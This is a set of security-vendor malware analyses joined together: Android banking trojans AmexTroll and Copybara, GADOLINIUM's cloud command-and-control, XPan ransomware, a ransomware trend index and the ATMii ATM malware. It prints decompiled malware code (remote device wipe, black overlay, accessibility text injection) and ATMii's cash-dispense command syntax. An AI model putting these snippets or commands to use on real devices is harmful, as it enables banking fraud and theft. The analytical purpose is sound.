tool of choice is Basic 4 Android (B4A). **Note:** ThreatFabric would like to note that B4A and the B4X suite are completely legitimate programs, and the developers that created this project have no control over the misuse of their software. B4A belongs to the B4X suite, developed by “Anywhere Software.” Its name comes from its similarity to BASIC, despite being an independent and proprietary language. The framework relies on a combination of simple UI-based designer tools and its BASIC-like language. The framework interprets the designs and code in the project and creates a corresponding, valid APK. AmexTroll and Copybara are not the only malware families built using this software, despite being arguably the most advanced. The appearance of such families roughly coincides with B4A becoming a free product. This framework does not provide a built-in way to easily interact with the Accessibility services, but any average developer should be able to implement a simple bridge class to interface the framework. In both cases, actors seem to be using modified versions of libraries published online by other B4A users on developer forums. ### Capabilities In terms of capabilities, the two families share a few common features. Most notably, they both target mostly Italy. They operate similarly in the way they perform screen streaming: both generate a series of screenshots every few milliseconds, which are sent to the C2 to mimic a real-time video stream. This allows operators to interact with the device remotely, enabling criminals to perform actions directly on the infected device. This feature is key to performing On-Device Fraud (ODF) once PIIs are exfiltrated, and is implemented in both cases using libraries publicly available on the B4A forum. Both families also have a relatively unique feature that allows them to remotely initiate a factory reset on the device, potentially to disrupt investigations or clean the device from possible traces of infection. This feature has been mostly abandoned due to its disruptiveness and debatable usefulness. The code is as follows: ```java if(accservice._manager.getEnabled()) { Reflection reflection0 = new Reflection(); reflection0.Target = accservice._manager; reflection0.Target = reflection0.GetField("dm"); reflection0.RunMethod2("wipeData", "0", "java.lang.int"); return ""; } ``` It is worth noting that this code, as well as the code responsible for the screenshot stream, is also available online on the B4A forum. Considering that both families also use other code developed and published by other users on the same forum, it is not a sufficient motive to connect the two families. ## Differences What follows is not an extensive description of the features of the two malware families, as that has been already done by other researchers. It is a study on the differences that motivate the need for separate categorization. ### AmexTroll The AmexTroll family has been active since the second half of 2021, with a few initial test samples targeting Italian institutions. The first campaign was limited in size, followed by more refined campaigns between the end of 2021 and the beginning of 2022, still targeting Italy, posing as an array of security-related applications. Recently, new developments brought this family into the spotlight again. The main reason was the public announcement by the actor behind its development, likely of Brazilian origin, who put it on the market for a beta test of a rental scheme for his/her product. This was notable for this family, as it was previously privately run. The beta found enough backers to proceed, as seen by the Telegram account used to sell access to the bot. After this announcement, the number of samples for this family started to increase, as did the variety of applications it poses as, mostly Brazilian institutions and more generic security applications. One feature specific to AmexTroll is the “black overlay” feature, which generates a completely black overlay to display on the foreground of the device’s UI. This feature, despite being simple, is dangerous for infected victims. The code responsible for this feature is as follows: ```java public static String _open_black_overlay(String opacity) throws Exception { PanelWrapper panelWrapper0 = new PanelWrapper(); panelWrapper0.Initialize(websock_service.processBA, ""); panelWrapper0.setColor(Colors.ARGB(((int)Double.parseDouble(opacity)), 0, 0, 0)); int v = vnc_var._get_resolution(websock_service.processBA, true); int v1 = vnc_var._get_resolution(websock_service.processBA, false); JavaObject javaObject0 = new JavaObject(); javaObject0.InitializeContext(websock_service.processBA); javaObject0.RunMethod("criar_overlay_acess_simple", new Object[]{panelWrapper0.getObject(), ((int)0), ((int)0), v, v1}); overlay_var._setstate_locked(websock_service.processBA, false); websock_service._reset_overlay(false); websock_service._sender_sucessmessage("TRAVADO"); return ""; } ``` The main modus operandi of AmexTroll, which differentiates it from Copybara, is the overlay mechanism that is common among other banking trojan families. Whenever the overlay is triggered, the bot automatically opens a WebView with the corresponding phishing overlay to steal the wanted PII. The implementation slightly differs from the standard used in other families due to its development cycle, but the logical steps are the same. Initially, the targets were limited, mostly focusing on the Italian market. However, a campaign distributed through a dropper on the Google Play Store was observed targeting institutions from Australia and Great Britain. The intelligence of this dropper confirms that the campaign was live for only a few days, with thousands of downloads in the aforementioned geolocations. ### Copybara The Copybara family has also been active since the second half of 2021. Its campaigns came into full scope in 2022 and differ from AmexTroll in that they are focused not only on the Italian market but also on specific institutions. The malware is able to create a remote connection with the C2, allowing criminals to perform On-Device Fraud on the infected device. However, Copybara differs in how it obtains PIIs. It features an overlay mechanism specific to the application it poses as, similar to what malware used to do before the use of accessibility services became prevalent. ThreatFabric has found samples posing as various Italian institutions; however, the overlay is consistently the same within this set of applications. Newer variants of this family introduced additional modules and APKs, adding functionalities to the malware. The main Copybara application can download an external module capable of performing Accessibility event logging, which is crucial for implementing On-Device Fraud, as it allows criminals full visibility and actionability on all UI elements on the victim’s devices, as well as enabling a comprehensive keylogging mechanism. ```java if(acs.GetIsStringTypeText().toString().length() > 0 && accessibilityNodeInfo0 != null && (var1.getClassName().equals("android.widget.EditText"))) { if(accessibilityNodeInfo0.getActionList().contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_SET_TEXT)) { Bundle var4 = new Bundle(); var4.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", acs.GetIsStringTypeText().toString()); accessibilityNodeInfo0.performAction(0x200000, var4); } else if(TextUtils.isEmpty(accessibilityNodeInfo0.getText())) { accessibilityNodeInfo0.performAction(0x8000); } else if(!accessibilityNodeInfo0.getText().toString().contains(acs.GetIsStringTypeText().toString())) { accessibilityNodeInfo0.performAction(0x8000); } acs.IsStringTypeText(""); } ``` Combined with additional modules, Copybara utilizes companion apps that deal with SMS monitoring and refer to the same C2 as the main malware. These apps retrieve possible 2FA tokens from banks and further monitor the device. They are also distributed through the same web phishing channels as Copybara. The real strength of Copybara lies within the criminal group behind it. The lack of flexibility in this malware family is balanced by the care and precision of its social engineering approach. Copybara relies on TOAD (Telephone-oriented attack delivery), which involves operators calling the victim to convince them to install and grant all necessary permissions. This is the main difference between this family and AmexTroll, and one of the main reasons ThreatFabric feels confident in differentiating these two families. Users may be skeptical about applications downloaded from the web, a problem that AmexTroll tackles by using droppers on the Google Play Store to gain trust. Copybara is distributed via SMiShing. Victims receive an SMS from their bank with a link, followed by a call from the operator to guide them through the process. This additional step adds credibility to the operation, encouraging users to install the malware with the promise of being safer and more protected. This approach is effective and justifies the nature of the malware itself. The group behind Copybara works with limited numbers of infections due to the necessity of operator interaction with the victim, but this step ensures a much higher success rate. This may also explain why this family is heavily focused on the Italian market, requiring criminals to tailor the process to the targeted banking institution. ## Conclusions The mobile malware landscape is continuously evolving, and mobile users face new and different threats. In 2022, ThreatFabric observed a strong shift towards On-Device Fraud. AmexTroll and Copybara confirm this trend while adding their own flair to standard Android Banking Malware features, one being technical additions to make infection stealthier and more effective, the other relying on the human aspect of phishing to coach victims into infecting their own devices. ThreatFabric expects to see more from both of these families, which are alive and active at the time of writing this blog. ## Appendix ### Brata Samples | App Name | Package Name | SHA-256 | |------------------------|--------------------------|--------------------------------------------------| | Atualização | com.da9d84d1 | 22a841da43ced0f2bb829780a4aa6a2ffaeb56d2a5e98d2f1bd62e1b8d70b967 | | WhatsApp | com.helper.android | 91ab6e70655abdef8e79eaeb0d83c02246037e2fc168eec956192fac4fcecea6 | | Vivo Internet Gratis | com.vivointernetgratis | 4c57c5eae5a1bae1a50beed28affdff722c89416886e5eda8088a06771cc29c8 | | Atualização WA | com.waatt25 | fa816c631249922539eeeb3e8f73d3ef4ea997ab729751adebcea3d0de32a63b | ### AmexTroll Samples | App Name | Package Name | SHA-256 | |-------------------|----------------------------|--------------------------------------------------| | A Shield Auth | horse.house.homer | f530c66fb1f7ac5e2e9a89c1f410e498dc59eecbec8bae29a9f69ab3dc7ce86c | | Itau Modulo | koala.viber.vip | 02aa9061b47762ce1627d38195097c0e791864004e509598269ffa8fb2e25103 | | TEST APP | malware.malware.virus | 1032b42c859c747bcc159b75366c3325869d3722f5673d13a7b06633245ebf32 | | SICUREZZA ANTISPAM | koala.kerox.vip | 38952ffe92afea051cea6de48b765274f5344ae2add07820995340faf546e220 | ### Copybara Samples | App Name | Package Name | SHA-256 | |--------------------|---------------------------|--------------------------------------------------| | Banca Sicura | com.com.app.isp | 4074d2c885462ffb52d5ffb7d024ad1e7c50aa794bea3a0c9f2292fcebc7018f | | Token ISP | com.apk.isp.intesa | 1698e5a1425903d576d4eeb8e25b0ec4f1091971cea3a61bfb83c2a5b514e306 | | UniCredit | com.app.app.unicredit | 7386eac4c4093b2ab433131edef48a2846ed11ce7d58e7069fe5531ae549f29c | | Banca Sicura | com.banca.sicura.app | 94f1a33d4f3bd94f65f8969f288fe01a198952c17e52c9e86e4047222d45f0ce | ### AmexTroll Targets | Package Name | App Name | |----------------------------------------------------------|-------------------------------| | au.com.bankwest.mobile | Bankwest | | au.com.commbank.commbiz.prod | CommBiz | | au.com.cua.mb | CUA | | au.com.hsbc.hsbcaustralia | HSBC Australia | | au.com.macquarie.banking | Macquarie Mobile Banking | | au.com.mebank.banking | ME Bank | | au.com.nab.mobile | NAB Mobile Banking | | au.com.newcastlepermanent | NPBS Mobile Banking | | au.com.rams.RAMS | myRAMS | | au.com.suncorp.rsa.suncorpsecured | Suncorp Secured | | au.com.suncorp.SuncorpBank | Suncorp Bank | | au.com.ubank.internetbanking | UBank Mobile Banking | | co.zip | Zip - Shop Now, Pay Later | | com.anz.android.gomoney | ANZ Australia | | com.anz.transactive.global | ANZ Transactive - Global | | com.bankofqueensland.boq | BOQ Mobile | | com.bendigobank.mobile | Bendigo Bank | | com.commbank.netbank | CommBank | | com.fusion.banking | Bank Australia app | | com.fusion.beyondbank | Beyond Bank Australia | | com.greater.Greater | Greater Bank | | com.hsbc.hsbcnet | HSBCnet Mobile | | com.virginmoney.cards | Virgin Money Credit Card | | org.banking.bom.businessconnect | Bank of Melbourne Business App | | org.banking.bsa.businessconnect | BankSA Business App | | org.banking.stg.businessconnect | St.George Business App | | org.banksa.bank | BankSA Mobile Banking | | org.bom.bank | Bank of Melbourne Mobile Banking | | org.stgeorge.bank | St.George Mobile Banking | | org.westpac.bank | Westpac Mobile Banking | | org.westpac.col | Westpac Corporate Mobile | | co.uk.Nationwide.Mobile | Nationwide Banking App | | com.barclaycardus | Barclays US | | com.cooperativebank.bank | The Co-operative Bank | | com.grppl.android.shell.CMBlloydsTSB73 | Lloyds Bank Mobile Banking | ### Copybara Targets | Bank | |---------------------| | Unicredit | | Banca Intesa | | BNP | | BPER Banca | | Poste Italiane |
# Microsoft Security—Detecting Empires in the Cloud Microsoft consistently tracks the most advanced threat actors and evolving attack techniques. We use these findings to harden our products and platform and share them with the security community to help defenders everywhere better protect the planet. Recently, the Microsoft Threat Intelligence Center (MSTIC) observed the evolution of attacker techniques by an actor we call GADOLINIUM using cloud services and open source tools to enhance weaponization of their malware payload, attempt to gain command and control all the way to the server, and to obfuscate detection. These attacks were delivered via spear-phishing emails with malicious attachments and detected and blocked by Microsoft Defender, formerly Microsoft Threat Protection (MTP), and able to be detected using Azure Sentinel. As these attacks were detected, Microsoft took proactive steps to prevent attackers from using our cloud infrastructure to execute their attacks and suspended 18 Azure Active Directory applications that we determined to be part of their malicious command & control infrastructure. This action helped transparently protect our customers without requiring additional work on their end. GADOLINIUM is a nation-state activity group that has been compromising targets for nearly a decade with a worldwide focus on the maritime and health industries. As with most threat groups, GADOLINIUM tracks the tools and techniques of security practitioners looking for new techniques they can use or modify to create new exploit methods. Recently, MSTIC has observed newly expanded targeting outside of those sectors to include the Asia Pacific region and other targets in higher education and regional government organizations. As GADOLINIUM has evolved, MSTIC has continued to monitor its activity and work alongside our product security teams to implement customer protections against these attacks. Historically, GADOLINIUM used custom-crafted malware families that analysts can identify and defend against. In response, over the last year GADOLINIUM has begun to modify portions of its toolchain to use open-source toolkits to obfuscate their activity and make it more difficult for analysts to track. Because cloud services frequently offer a free trial or one-time payment (PayGo) account offerings, malicious actors have found ways to take advantage of these legitimate business offerings. By establishing free or PayGo accounts, they can use cloud-based technology to create a malicious infrastructure that can be established quickly then taken down before detection or given up at little cost. The following GADOLINIUM technique profile is designed to give security practitioners who may be targeted by this specific actor’s activity insight and information that will help them better protect from these attacks. ## 2016: Experimenting in the Cloud GADOLINIUM has been experimenting with using cloud services to deliver their attacks to increase both operation speed and scale for years. This early use of a TechNet profile’s contact widget involved embedding a very small text link that contained an encoded command for malware to read. ## 2018: Developing Attacks in the Cloud In 2018 GADOLINIUM returned to using cloud services, but this time it chose to use GitHub to host commands. In this repository, the actors updated markdown text to issue new commands to victim computers. MSTIC has worked with our colleagues at GitHub to take down the actor accounts and disrupt GADOLINIUM operations on the GitHub platform. ## 2019-2020: Hiding in Plain Sight Using Open Source GADOLINIUM’s evolving techniques include two of the most recent attack chains in 2019 and 2020 delivered using similar tactics and techniques. Below is a summary view of how these attack techniques have evolved followed by a detailed analysis of each step that security practitioners can use to better understand the threat and what defenses to implement to counter the attacks. ### Weaponization In the last year, Microsoft has observed GADOLINIUM migrate portions of its toolchain techniques based on open source kits. GADOLINIUM is not alone in this move. MSTIC has noticed a slow trend of several nation-state activity groups migrating to open source tools in recent years. MSTIC assesses this move is an attempt to make discovery and attribution more difficult. The other added benefit to using open-source types of kits is that the development and new feature creation is done and created by someone else at no cost. However, using open source tools isn’t always a silver bullet for obfuscation and blending into the noise. ### Delivery & Exploitation (2019) In 2019, we discovered GADOLINIUM delivering malicious Access database files to targets. The initial malicious file was an Access 2013 database (.accde format). This dropped a fake Word document that was opened along with an Excel spreadsheet and a file called mm.accdb.core which was subsequently executed. The file mm.accdb.core is a VBA dropper, based on the CactusTorch VBA module, which loads a .NET DLL payload, sets configuration information, and then runs the payload. Defender for Office 365 detects and blocks malicious Microsoft Access database attachments in email. ### Command and Control (2019) Having gained access to a victim machine, the payload then uses attachments to Outlook Tasks as a mechanism for command and control (C2). It uses a GADOLINIUM-controlled OAuth access token with login.microsoftonline.com and uses it to call the Outlook Task API to check for tasks. The attacker uses attachments to Outlook tasks as a means of sending commands or .NET payloads to execute; at the victim end, the malware adds the output from executing these commands as a further attachment to the Outlook task. ### Actions on Objective (2019) GADOLINIUM used several different payloads to achieve its exploitation or intrusion objectives including a range of PowerShell scripts to execute file commands (read/write/list etc.) to enable C2 or perform SMB commands (upload/download/delete etc.) to potentially exfiltrate data. LazyCat, one of the tools used by GADOLINIUM, includes privilege escalation and credential dumping capability to enable lateral movement across a victim network. Microsoft Defender for Endpoint detects the privilege escalation technique used. ### Delivery (2020) In mid-April 2020 GADOLINIUM actors were detected sending spear-phishing emails with malicious attachments. The filenames of these attachments were named to appeal to the target’s interest in the COVID-19 pandemic. The PowerPoint file (20200423-sitrep-92-covid-19.ppt), when run, would drop a file, doc1.dotm. Similarly, to the 2019 example, Microsoft Defender for Office detects and blocks emails with these malicious PowerPoint and Word attachments. ### Command and Control (2020) The malicious doc1.dotm had two payloads which run in succession. The first payload turns off a type check DisableActivitySurrogateSelectorTypeCheck which the second stage needs. The second payload loads an embedded .Net binary which downloads, decrypts + runs a .png file. The .png is actually PowerShell which downloads and uploads fake png files using the Microsoft Graph API. ### Actions on Objectives (2020) The GADOLINIUM PowerShell Empire toolkit allows the attacker to load additional modules to victim computers seamlessly via Microsoft Graph API calls. It provides a command and control module that uses the attacker’s Microsoft OneDrive account to execute commands and retrieve results between attacker and victim systems. The use of this PowerShell Empire module is particularly challenging for traditional SOC monitoring to identify. ### Command and Control—Server Compromise GADOLINIUM campaigns often involve installing web shells on legitimate websites for command and control or traffic redirection. Microsoft Defender for Endpoint detects web shells by analyzing web server telemetry such as process creation and file modifications. Microsoft’s proactive steps to defend customers include detecting many of the individual components of the attacks through Microsoft’s security products and services such as Microsoft Defender for Endpoint and for Microsoft Defender for Office. As part of Microsoft’s broader work to foster a secure and trustworthy app ecosystem, we research and develop detection techniques for both known and novel malicious applications. Applications exhibiting malicious behavior are quickly suspended to ensure our customers are protected. GADOLINIUM will no doubt evolve their tactics in pursuit of its objectives. As those threats target Microsoft customers, we will continue to build detections and implement protections to defend against them. For security practitioners looking to expand your own hunting on GADOLINIUM, we are sharing the below indicators of compromise (IOCs) associated with their activity. ## List of Related GADOLINIUM Indicators ### Hashes from Malicious Document Attachments - faebff04d7ca9cca92975e06c4a0e9ce1455860147d8432ff9fc24622b7cf675 - f61212ab1362dffd3fa6258116973fb924068217317d2bc562481b037c806a0a ### Actor-Owned Email Addresses - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] ### Azure Active Directory App IDs Associated with Malicious Apps - ae213805-a6a2-476c-9c82-c37dfc0b6a6c - afd7a273-982b-4873-984a-063d0d3ca23d - 58e2e113-b4c9-4f1a-927a-ae29e2e1cdeb - 8ba5106c-692d-4a86-ad3f-fc76f01b890d - be561020-ba37-47b2-99ab-29dd1a4312c4 - 574b7f3b-36da-41ee-86b9-c076f999b1de - 941ec5a5-d5bf-419e-aa93-c5afd0b01eff - d9404c7d-796d-4500-877e-d1b49f02c9df - 67e2bb25-1f61-47b6-9ae3-c6104e587882 - 9085bb9e-9b56-4b84-b21e-bd5d5c7b0de0 - 289d71ad-54ee-44a4-8d9a-9294f19b0069 - a5ea2576-4191-4e9a-bfed-760fff616fbf - 802172dc-8014-42a9-b765-133c07039f9f - fb33785b-f3f7-4b2b-b5c1-f688d3de1bde - c196c17d-1e3c-4049-a989-c62f7afaf7f3 - 79128217-d61e-41f9-a165-e06e1d672069 - f4a41d96-2045-4d75-a0ec-9970b0150b52 - 88d43534-4128-4969-b5c4-ceefd9b31d02
# XPan, I am your father **Authors** Anton Ivanov Fabio Assolini Fedor Sinitsyn Santiago Pontiroli ## One Ransomware Decrypted While we have previously written on the now infamous XPan ransomware family, some of its variants are still affecting users primarily located in Brazil. Harvesting victims via weakly protected RDP (remote desktop protocol) connections, criminals are manually installing the ransomware and encrypting any files which can be found on the system. Interestingly, this XPan variant is not necessarily new in the malware ecosystem. However, someone has chosen to keep on infecting victims with it, encouraging security researchers to hunt for samples related to the increasing number of incident reports. This sample could be considered as the “father” of other XPan ransomware variants. A considerable amount of indicators within the source code depict the early origins of this sample. “Recupere seus arquivos aqui.txt” loosely translated to “recover your files here” is a phrase that not many Brazilian users are eager to see on their desktops. The ransomware author left a message for Kaspersky in other versions and has done the same in this one, with traces to the NMoreira “CrypterApp.cpp” showing a clear link between different variants among this malware family. NMoreira, XPan, TeamXRat, different names but same author. Even though many Brazilian-Portuguese strings are present upon initial analysis, there were a couple that caught our attention. Firstly, the ransomware uses a batch file which will pass a command line parameter to an invoked executable file; this parameter is “eusoudejesus” which means “I’m from Jesus.” Developers tend to leave tiny breadcrumbs of their personality behind in each one of their creations, and in this sample, we found many of them. A brief religious reference found in this XPan variant. Secondly, a reference to a Brazilian celebrity is done, albeit indirectly. “Computador da Xuxa” was a toy computer sold in Brazil during the nineties; however, it’s also a popular expression used to make fun of very old computers with limited power. This is what cybercriminals think of your encrypted computer: just a toy they can control. “Muito bichado” equals finding a lot of problems in these types of systems, in this case meaning that the environment in which XPan is executing is not playing fair and the execution is quite buggy. Lastly, we have the ransomware note demanding the victim to send an email to the account ‘[email protected]’. Considering that the extension for all the encrypted files in this variant is ‘.one’, this seems like a pretty straightforward naming convention for the criminals’ campaigns. Upon closer inspection, we discovered that this sample is nearly identical to another version of Xpan which was distributed back in November 2016 and used the extension “.__AiraCropEncrypted!”. Every bit of executable code remains the same, which is quite surprising, because since that time there were several newer versions of this malware with an updated encryption algorithm. Both samples have the same PE timestamp dating back to the 31st of October 2016. The only difference between the two is the configuration block which contains the following information: - list of target file extensions; - ransom notes; - commands to execute before and after encryption; - the public RSA key of the criminals. The file encryption algorithm also remains the same. For each target file, the malware generates a new unique 255-byte random string S (which contains the substring “NMoreira”), turns it into a 256-bit key using the API CryptDeriveKey, and proceeds to encrypt the file content using AES-256 in CBC mode with zero IV. The string S will be encrypted using the criminals’ RSA public key from the configuration block and stored at the beginning of the encrypted file. According to one of the victims that contacted us, criminals were asking for 0.3 bitcoin to provide the recovery key, using the same approach as they did before: the user sends a message to a mailbox with his unique ID and patiently awaits further instructions. The victims so far are small and medium businesses in Brazil: ranging from a dentist clinic to a driving school, demonstrating once again that ransomware makes no distinctions and everyone is at risk. As long as there are victims, assisting them and providing decryption tools whenever possible is necessary, no matter the ransomware family or when it was created. ## Victims: We Can Help This time luck is on the victims’ side! Upon thorough investigation and reverse engineering of the sample of “.one” version of Xpan, we discovered that the criminals used a vulnerable cryptographic algorithm implementation. It allowed us to break encryption as with the previously described Xpan version. We successfully helped a driving school and a dentist clinic to recover their files for free, and as usual, we encourage victims of this ransomware to not pay the ransom and to contact our technical support for assistance in decryption. Brazilian cybercriminals are focusing their efforts on creating new and local ransomware families, attacking small companies and unprotected users. We believe this is the next step in the ransomware fight: going from global scale attacks to a more localized scenario, where local cybercriminals will create new families from scratch, in their own language, and resorting to RaaS (Ransomware-as-a-service) as a way to monetize their attacks. **MD5 Reference** dd7033bc36615c0fe0be7413457dccbf – Trojan-Ransom.Win32.Xpan.e (encrypted file extension: “.one”) 54217c1ea3e1d4d3dc024fc740a47757 – Trojan-Ransom.Win32.Xpan.d (encrypted file extension: “.__AiraCropEncrypted!”) **Tags** Brazil RaaS Ransomware RDP TeamXRat Trojan
# Big Game Hunting on the Rise Again According to eCrime Index CrowdStrike Intelligence Team October 12, 2021 The eCrime ecosystem is an active and diverse economy of financially motivated threat actors engaging in a myriad of criminal activities to generate revenue. CrowdStrike Intelligence maintains the CrowdStrike eCrime Index (ECX) to provide a composite score for tracking changes to this ecosystem. The ECX is composed of several key observables covering different aspects of criminal activity that are combined using a mathematical model. Since a CARBON SPIDER DarkSide affiliate infected Colonial Pipeline in May 2021, CrowdStrike Intelligence observed big game hunting (BGH) adversaries slow or cease their activity and change their tactics, techniques, and procedures (TTPs), resulting in a downward trend in the ECX. However, in recent weeks, the ECX has mirrored a resurgence in BGH ransomware data leaks and demonstrated an uptick in activity. ## Surge in Data Leaks In the week prior to the Colonial Pipeline incident, BGH ransomware incidents that resulted in data leaks had reached an all-time high of 92. Following the incident, many ransomware families significantly reduced their operational tempo or ceased operations, likely in an attempt to avoid the increased scrutiny that ransomware campaigns attracted. The reduction of incidents following the week beginning May 3, 2021, is likely attributed to a combination of factors: - Increased scrutiny of ransomware threat actors - Banning of forum activity related to ransomware operations - The reported retirement of adversaries, such as CIRCUS SPIDER (Netwalker) and RIDDLE SPIDER (Avaddon) - The disappearance of prolific threat actors, such as PINCHY SPIDER (REvil) - Disruption within certain groups, such as the operators of Babuk Locker, who have split into multiple groups and diversified their respective offerings However, in the past few weeks, CrowdStrike Intelligence has observed ransomware data leak incidents reach 90 — representing the highest peak since the dip. This surge in data leaks is very likely due to the return of PINCHY SPIDER’s REvil ransomware as a service (RaaS), the increase in CARBON SPIDER’s BlackMatter RaaS activity, and the prolific operational tempo of LockBit RaaS, which is responsible for 220 data leaks since it returned in July 2021; the LockBit data leaks account for more than 36% of the leaks since their huge resurgence. CrowdStrike Intelligence has also observed forum activity from or associated with BGH actors continuing, despite restrictions put in place by admins in July 2021. Some notable topics observed include: - RaaS projects and other posts related to ransomware partnerships continue to be posted and advertised in forums. - Groups such as LockBit have recently advertised they were looking for penetration testers for “red team operations” in a style of language designed to mirror that found in legitimate cybersecurity job postings. - Separately, other actors have resorted to advertising ransomware partnerships on RAMP — a forum purportedly established by Babuk Locker operators specifically for ransomware-related chatter. ## ECX Reflections While the ECX models a wide range of data points within the eCrime marketplace, it is clear that a recent surge in data leaks is reflected in the ECX. Also having a significant impact on the ECX is the number of high ransom demands. For example, PINCHY SPIDER REvil affiliates have been observed issuing a ransom demand of $80 million USD, and CARBON SPIDER’s BlackMatter affiliates have been observed demanding as much as $60 million USD in the past weeks. The combination of these factors has resulted in a significant increase in the ECX. ## Outlook Attempts by the Biden administration to put political pressure on the Russian government to assist in clamping down on BGH actors do not appear to have borne fruit. Although some groups have stated they will avoid targeting certain sectors, these pledges have proven to be rather limited. Despite increased law enforcement attention following a REvil attack on the U.S.-based food processing company JBS in May 2021, some BGH actors remain willing to continue targeting major and possibly critical companies. For example, on Sept. 18, 2021, a BlackMatter operator attempted to ransom a North American agricultural cooperative for more than $11 million USD despite this business being clearly identified as critical infrastructure by the U.S. Department of Homeland Security. The CrowdStrike Intelligence ECX is mathematically calculated using multiple tracked observables. Over the past few weeks, the increase of ransomware data leaks — and a consistent number of high ransom demands — has resulted in a substantial upward trend, which is likely to continue in the short term. This assessment is made with moderate confidence based on the continuation of BGH actors restoring to their prior operational tempo, as well as new and existing ransomware operators emerging and maturing. The ECX remains a valuable tool used to identify significant events affecting the eCrime ecosystem. The ECX provides an easily referenced index to mark areas of disruption or change in the eCrime ecosystem in real time. Monitor the ECX regularly in the CrowdStrike Adversary Universe to make sure you stay up-to-date on eCrime trends.
# ATMii: A Small but Effective ATM Robber **Authors** Konstantin Zykov While some criminals blow up ATMs to steal cash, others use less destructive methods, such as infecting the ATM with malware and then stealing the money. We have written about this phenomenon extensively in the past and today we can add another family of malware to the list – Backdoor.Win32.ATMii. ATMii was first brought to our attention in April 2017, when a partner from the financial industry shared some samples with us. The malware turned out to be fairly straightforward, consisting of only two modules: an injector module (`exe.exe`, 3fddbf20b41e335b6b1615536b8e1292) and the module to be injected (`dll.dll`, dc42ed8e1de55185c9240f33863a6aa4). To use this malware, criminals need direct access to the target ATM, either over the network or physically (e.g. over USB). ATMii, if it is successful, allows criminals to dispense all the cash from the ATM. ## exe.exe – An Injector and Control Module The injector is an unprotected command line application, written in Visual C with a compilation timestamp: Fri Nov 01 14:33:23 2013 UTC. Since this compilation timestamp is from 4 years ago – and we do not think this threat could have gone unnoticed for 4 years – we believe it is a fake timestamp. What’s also interesting is the OS that is supported by the malware: one more recent than Windows XP. We can see this in the image below, where the first argument for the `OpenProcess()` function is `0x1FFFFu`. It is the `PROCESS_ALL_ACCESS` constant, but this constant value differs in older Windows versions such as Windows XP. This is interesting because most ATMs still run on Windows XP, which is thus not supported by the malware. The injector, which targets the `atmapp.exe` (proprietary ATM software) process, is fairly poorly written, since it depends on several parameters. If none are given, the application catches an exception. The parameters are pretty self-explanatory: | param | short description | |---------|-----------------------------------------------------------------------------------| | /load | Tries to inject `dll.dll` into `atmapp.exe` process | | /cmd | Creates/Updates `C:\ATM\c.ini` file to pass commands and params to infected library | | /unload | Tries to unload injected library from `atmapp.exe` process, while restoring its state. | ### /load param `<exe.exe> /load` The application searches for a process with the name `atmapp.exe` and injects code into it that loads the `dll.dll` library (which has to be in the same folder as the `exe.exe` file). After it has been loaded, it calls the `DLLmain` function. ### /unload param `<exe.exe> /unload` As the name already suggests, it is the opposite of the `/load` parameter; it unloads the injected module and restores the process to its original state. ### /cmd param `<exe.exe> /cmd [cmd] [params]` The application creates/updates `C:\ATM\c.ini` which is used by the injected DLL to read commands. The file is updated each time the `.exe` is run with the `/cmd` param. #### Contents of c.ini after execution of “exe.exe /cmd info” The executable understands the following set of commands: | command | description | |---------|-----------------------------------------------------------------------------| | scan | Scans for the CASH_UNIT XFS service | | disp | Stands for “dispense”. The injected module should dispense “amount” cash of “currency” (amount and currency are used as parameters) | | info | Gets info about ATM cash cassettes, all the returned data goes to the log file. | | die | Injected module removes `C:\ATM\c.ini` file | ## dll.dll Injecting Module After injection and execution of the `DllMain` function, the `dll.dll` library loads `msxfs.dll` and replaces the `WFSGetInfo` function with a special wrap function, named `mWFSGetInfo`. At the time of the first call to the fake `WFSGetInfo` function, `C:\ATM\c.ini` is ignored and the library tries to find the ATM’s CASH_UNIT service id and stores the result, basically in the same way as the scan command does. If the CASH_UNIT service is not found, `dll.dll` won’t function. However, if successful, all further calls go to the `mWFSGetInfo` function, which performs the additional logic (reading, parsing and executing the commands from the `C:\ATM\c.ini` file). #### Contents of C:\ATM\c.ini after execution of “exe.exe /cmd disp RUB 6000” Because of the architecture of XFS, which is divided into services, the injected library first needs to find the dispense service. This command must be successfully called, because the `disp` and `info` commands depend on the service id retrieved by `scan`. `Scan` is automatically called after the DLL has been injected into `atmapp.exe`. After collecting the `WFS_INF_CDM_STATUS` data, additional data gets added to the `tlogs.log`. An example can be found below: ``` (387):cmd_scan() Searching valid service (358):FindValidService() Checking device index=0 (70):CheckServiceForValid() ———————————————— (72):CheckServiceForValid() Waiting for lock (76):CheckServiceForValid() Device was locked (86):CheckServiceForValid() WFSGetInfo Success 0 (182):CheckServiceForValid() Done-> szDevice: WFS_CDM_DEVONLINE, szDispenser: WFS_CDM_DISPOK, szIntermediateStacker: WFS_CDM_ISEMPTY, szSafeDoor: WFS_CDM_DOORCLOSED (195):CheckServiceForValid() Unlocking device (390):cmd_scan() Service found 0 ``` ### “info” Command Before the criminals can dispense cash, they first need to know the exact contents of the different cassettes. For this, they use the `info` command which provides exhaustive information on all cassettes and their contents. The list of used XFS API functions is the same as with the `scan` command, but this time `WFSGetInfo` is called with the `WFS_INF_CDM_CASH_UNIT_INFO` (303) constant passed as a param. #### Example of the data in log file returned by the info command ``` (502):ExecuteCmd() Executing cmd (506):ExecuteCmd() CMD = info (402):cmd_info() ! hFoundGlobalService = 0 (213):GetDeviceInformation() ———————————————— (220):GetDeviceInformation() Device locked 0 (337):GetDeviceInformation() Module: C:\program files\dtatmw\bin\atmapp\atmapp.exe Cash Unit # 1, name=SOMENAME Type: 3 Status: HIGH Currency ID: 0x52-0x55-0x42 Note Value: 5000 Notes Count: 3000 Notes Initial Count: 3000 Notes Minimum Count: 10 Notes Maximum Count: 0 ``` ### “disp” Command The dispense command is followed by two additional params in the command file: currency and amount. Currency must contain one of the three-letter currency codes of notes kept in the `CASH_UNIT_INFO` structure (currency codes are described in ISO_4217 e.g. RUB, EUR). The amount code holds the amount of cash to dispense and this value must be a multiple of ten. ### “die” Command Does nothing except deleting `C:\ATM\c.ini` command file. ## Conclusion ATMii is yet another example of how criminals can use legitimate proprietary libraries and a small piece of code to dispense money from an ATM. Some appropriate countermeasures against such attacks are default-deny policies and device control. The first measure prevents criminals from running their own code on the ATM’s internal PC, while the second measure will prevent them from connecting new devices, such as USB sticks.
